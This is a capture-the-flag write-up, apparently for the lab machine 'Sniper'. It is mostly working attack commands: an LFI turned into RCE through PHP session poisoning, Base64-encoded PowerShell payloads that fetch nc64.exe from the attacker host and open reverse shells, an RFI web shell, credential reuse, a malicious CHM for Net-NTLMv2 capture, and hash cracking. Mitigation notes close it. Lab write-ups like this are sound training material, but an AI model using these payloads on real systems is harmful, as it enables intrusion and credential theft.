Overview

Windows Server 2019 (Build 10.0.17763). Attacker IP (tun0): 10.10.14.x. Key techniques: LFI/RFI, PHP session poisoning, blacklist bypass, PSCredential lateral movement, malicious CHM, Net-NTLMv2 capture and crack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
nmap -> IIS + PHP
   +- LFI in ?lang= (blog)
        +- read the PHP session file (C:\Windows\TEMP\sess_<PHPSESSID>)
             +- PHP session poisoning: PHP code in the "username" field
                  +- RCE as NT AUTHORITY\IUSR
                       +- download nc64.exe -> reverse shell (IUSR)
                            +- db.php -> MySQL password 36mEAhz/B8xQ~2VM
                                 +- password reuse -> PSCredential -> shell as SNIPER\chris  (user flag)
                                      +- malicious .chm in C:\Docs (opened by the admin)
                                           +- Responder captures the admin Net-NTLMv2
                                                +- hashcat -m 5600 -> butterfly!#1
                                                     +- PSCredential -> shell as Administrator  (root flag)

Reconnaissance

1
2
3
4
5
# 1) fast sweep of all ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.x | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# 2) service/script scan on open ports only
nmap -p$ports -sC -sV 10.10.10.x

Result: Windows, IIS, a PHP server. The “Sniper Co.” site has a login page and a blog.

Changing the blog language reveals a file-load pattern via a GET parameter:

1
http://10.10.10.x/blog/?lang=blog-en.php

lang loads a file by name, a candidate for LFI.

Initial Access

Local File Inclusion

Path traversal (../) does not work (a filter). An absolute path does:

1
2
3
4
5
# does not work:
curl 'http://10.10.10.x/blog/?lang=../../../windows/win.ini'

# works (absolute path):
curl -X GET 'http://10.10.10.x/blog/?lang=/windows/win.ini'

The default IIS web root is C:\inetpub\wwwroot; the blog is in ...\wwwroot\blog\.

LFI to RCE, PHP session poisoning

PHP stores session files in C:\Windows\TEMP as sess_<PHPSESSID>. With LFI we can read our own session file, and its username field is controllable at registration.

  1. Register and log in a test user (for example guest).

  2. Extract PHPSESSID from the cookie (DevTools -> Storage/Cookies).

  3. Read the session file through LFI:

    1
    2
    
    curl -s -G 'http://10.10.10.x/blog/' \
      --data-urlencode 'lang=\windows\temp\sess_<YOUR_PHPSESSID>'
    

The response shows username|s:<len>:"<name>";, so the username is written to a file PHP interprets. If the username is PHP code, it executes.

Test payload (RCE PoC):

1
<?=`powershell whoami`?>

Backticks in PHP are an alias for exec(). Register a user with this name, log in (so PHP overwrites the session file with the new username), then trigger execution by loading the session file through LFI. The result shows iusr, so RCE as NT AUTHORITY\IUSR.

Blacklist bypass

Registration rejects usernames containing certain characters:

1
"  $  &  '  (  -  .  ;  [  _

Bypass with Base64 + PowerShell /enc. The Base64 alphabet (A-Z a-z 0-9 + / =) contains none of the forbidden characters.

1
2
echo whoami | iconv -t utf-16le | base64
# -> dwBoAG8AYQBtAGkACgA=

Windows PowerShell -EncodedCommand (/enc) expects Base64 of UTF-16LE.

Final payload:

1
<?=`powershell /enc dwBoAG8AYQBtAGkACgA=`?>

Payload-generation pitfalls

Three independent problems can block the foothold, and the errors are silent.

echo in zsh interprets \n. Kali defaults to zsh, whose built-in echo interprets escape sequences. In the target path:

1
2
3
C:\Windows\TEMP\nc64.exe
                ^
       backslash + "n" = \n  ->  zsh turns it into a newline

The backslash disappears and the path splits over two lines:

1
2
C:\Windows\TEMP
c64.exe

The decoded payload becomes:

1
2
wget http://10.10.14.x/nc64.exe -o C:\Windows\TEMP$
c64.exe$

The path is broken, wget gets a junk argument, nothing downloads, no error. Use printf '%s' with single quotes, never echo:

1
2
printf '%s' 'wget http://10.10.14.x/nc64.exe -o C:\Windows\TEMP\nc64.exe' \
  | iconv -t UTF-16LE | base64 -w0

Alternatives: echo -E '...' (disables escape in zsh), print -r -- '...'.

Always verify the payload by decoding it back:

1
2
3
printf '%s' 'wget ... C:\Windows\TEMP\nc64.exe' | iconv -t UTF-16LE | base64 -w0 \
  | base64 -d | iconv -f UTF-16LE -t UTF-8 | cat -A
# The path must be on one line, with no $ in the middle.

username length limit (~189 chars). The captured session shows username|s:189:"...", so ~189-200 chars is the ceiling.

  • wget payload after encoding is ~164 chars, passes.
  • (New-Object Net.WebClient).DownloadFile(...) is ~260 chars, rejected (“cannot create user”).

Keep commands short.

+ and / in Base64 break the form. In a POST (application/x-www-form-urlencoded), + decodes to a space. Check:

1
printf '%s' '<cmd>' | iconv -t UTF-16LE | base64 -w0 | grep -c '[+/]'   # 0 = clean

If +// appear, tweak the command slightly (a different filename/port) so the output is clean.

Download method choice on Windows:

MethodLengthNotes
wget ... -o ... (alias for Invoke-WebRequest)short (~164)Matches the walkthrough. Only fails via the zsh \n bug.
certutil -urlcache -f <url> <dst>~200 (borderline)Solid, a different mechanism; sometimes flagged by AV.
(New-Object Net.WebClient).DownloadFile(...)~260Reliable but too long for this field.

Recommendation for Sniper: a short wget generated with printf.

Lateral Movement

Reverse shell as IUSR

Serve nc64.exe from the attacker’s directory:

1
python3 -m http.server 80

Payload 1, download (via printf):

1
2
printf '%s' 'wget http://10.10.14.x/nc64.exe -o C:\Windows\TEMP\nc64.exe' \
  | iconv -t UTF-16LE | base64 -w0
1
<?=`powershell /enc dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAALwBuAGMANgA0AC4AZQB4AGUAIAAtAG8AIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAG4AYwA2ADQALgBlAHgAZQA=`?>

After the LFI trigger, the http.server window must show GET /nc64.exe (proof the file downloaded).

Payload 2, execution (listener on 443):

1
2
printf '%s' 'C:\Windows\TEMP\nc64.exe -e cmd.exe 10.10.14.x 443' \
  | iconv -t UTF-16LE | base64 -w0
1
<?=`powershell /enc QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAuAGUAeABlACAAMQAwAC4AMQAwAC4AMQA0AC4AMQA5ADAAIAA0ADQAMwA=`?>
1
sudo rlwrap -cAr nc -lvnp 443

Workflow for every payload: new user with the payload in the name, log in (overwrites the session file), LFI on the current sess_<PHPSESSID>.

Alternative, RFI + SMB:

1
2
// shell.php on the share //10.10.14.x/Public/
<?=`$_GET[0]`?>
1
http://10.10.10.x/blog/?lang=//10.10.14.x/Public/shell.php&0=dir

Lateral movement to SNIPER\chris (user flag)

Password leak from db.php:

1
more C:\inetpub\wwwroot\user\db.php

MySQL password:

1
36mEAhz/B8xQ~2VM

net users reveals the local user chris. Hypothesis: the DB password is reused. IUSR has no interactive session for chris, so build a PSCredential and run commands via Invoke-Command (targeting LOCALHOST):

1
2
3
4
$password = ConvertTo-SecureString -AsPlainText -Force -String "36mEAhz/B8xQ~2VM";
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "SNIPER\chris", $password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { whoami } -Credential $credential;
# -> sniper\chris   password confirmed

$password = ... typed in a raw cmd.exe reverse shell fails with '$password' is not recognized. Enter PowerShell (powershell.exe) first. Keep ConvertTo-SecureString ... -String "..." on one line, or you get Missing an argument for parameter 'String'.

Shell as chris:

1
2
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { wget http://10.10.14.x/nc64.exe -o C:\Users\chris\nc64.exe } -Credential $credential;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc64.exe -e cmd.exe 10.10.14.x 4444 } -Credential $credential;

If you downloaded nc64.exe, run nc64.exe (not nc.exe). If wget -o in Invoke-Command raises Invalid URI: The hostname could not be parsed, that is a broken line; paste the scriptblock as one line.

User flag: C:\Users\chris\Desktop\user.txt.

Privilege Escalation

CEO note

1
type C:\Docs\note.txt

It indicates the administrator reviews documentation (.chm files) dropped into C:\Docs\. C:\Users\chris\Downloads\ contains instructions.chm. Classic vector: the admin opens a dropped .chm, so we can force authentication to our host and capture the hash.

Source HTML with a UNC reference (forces an SMB connection on open):

1
2
3
4
5
<html>
  <body>
    <img src="\\10.10.14.x\share\abc.png" />
  </body>
</html>

Compile to .chm with HTML Help Workshop (htmlhelp.exe) on a Windows machine: File -> New -> Project, add the HTML file, Compile, producing instructions.chm.

Capture the hash (Responder) and drop the CHM

1
sudo responder -I tun0
1
2
# as chris:
copy C:\Users\chris\instructions.chm C:\Docs

Shortly after, Responder logs the administrator’s Net-NTLMv2.

Cracking:

1
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
1
butterfly!#1

-m 5600 is Net-NTLMv2.

Shell as Administrator

1
sudo rlwrap -cAr nc -lvnp 5555
1
2
3
$password = ConvertTo-SecureString -AsPlainText -Force -String "butterfly!#1";
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "SNIPER\Administrator", $password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc64.exe -e cmd.exe 10.10.14.x 5555 } -Credential $credential;

Root flag: C:\Users\Administrator\Desktop\root.txt.

Detection and Mitigation

  • LFI: whitelist allowed language files instead of a dynamic include; disable user-controlled include paths; allow_url_include=Off, open_basedir.
  • Session poisoning: do not write untrusted data (username) to a session without sanitization; store sessions outside the web root and out of include range.
  • RFI/SMB: block outbound SMB (445/139); this kills both RFI and Net-NTLMv2 leaks.
  • Credential reuse: unique passwords per account; no plaintext passwords in web files (db.php); least privilege for IUSR.
  • CHM / internal phishing: do not open documents from untrusted locations; block .chm from the internet; SMB signing and disabling NTLM where possible.
  • Hash cracking: long, random passwords resistant to rockyou; monitor NTLM auth anomalies.

Lessons Learned

  • echo in zsh interprets \n; use printf '%s' with single quotes when generating payloads with Windows backslash paths.
  • Always verify a payload by decoding it back (base64 -d | iconv | cat -A); silent encoding errors are the worst.
  • Know your input-field limits: length (~189) and alphabet (avoid +// in Base64).
  • cmdlets (ConvertTo-SecureString, New-Object, Invoke-Command) only work after entering powershell.exe.
  • Keep command lines on one line; a broken line gives misleading errors (Invalid URI, Missing an argument).
  • Match the binary name (nc.exe != nc64.exe).
  • PSCredential is a useful lateral-movement mechanism without an interactive session.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# generate a PowerShell /enc payload (always printf, not echo)
gen() { printf '%s' "$1" | iconv -t UTF-16LE | base64 -w0; }
verify() { printf '%s' "$1" | iconv -t UTF-16LE | base64 -w0 | base64 -d | iconv -f UTF-16LE -t UTF-8 | cat -A; }

gen 'wget http://10.10.14.x/nc64.exe -o C:\Windows\TEMP\nc64.exe'
gen 'C:\Windows\TEMP\nc64.exe -e cmd.exe 10.10.14.x 443'
verify 'C:\Windows\TEMP\nc64.exe -e cmd.exe 10.10.14.x 443'

# trigger LFI on your own session file
curl -s -G 'http://10.10.10.x/blog/' --data-urlencode 'lang=\windows\temp\sess_<PHPSESSID>'

Username pattern: <?=`powershell /enc <BASE64>`?>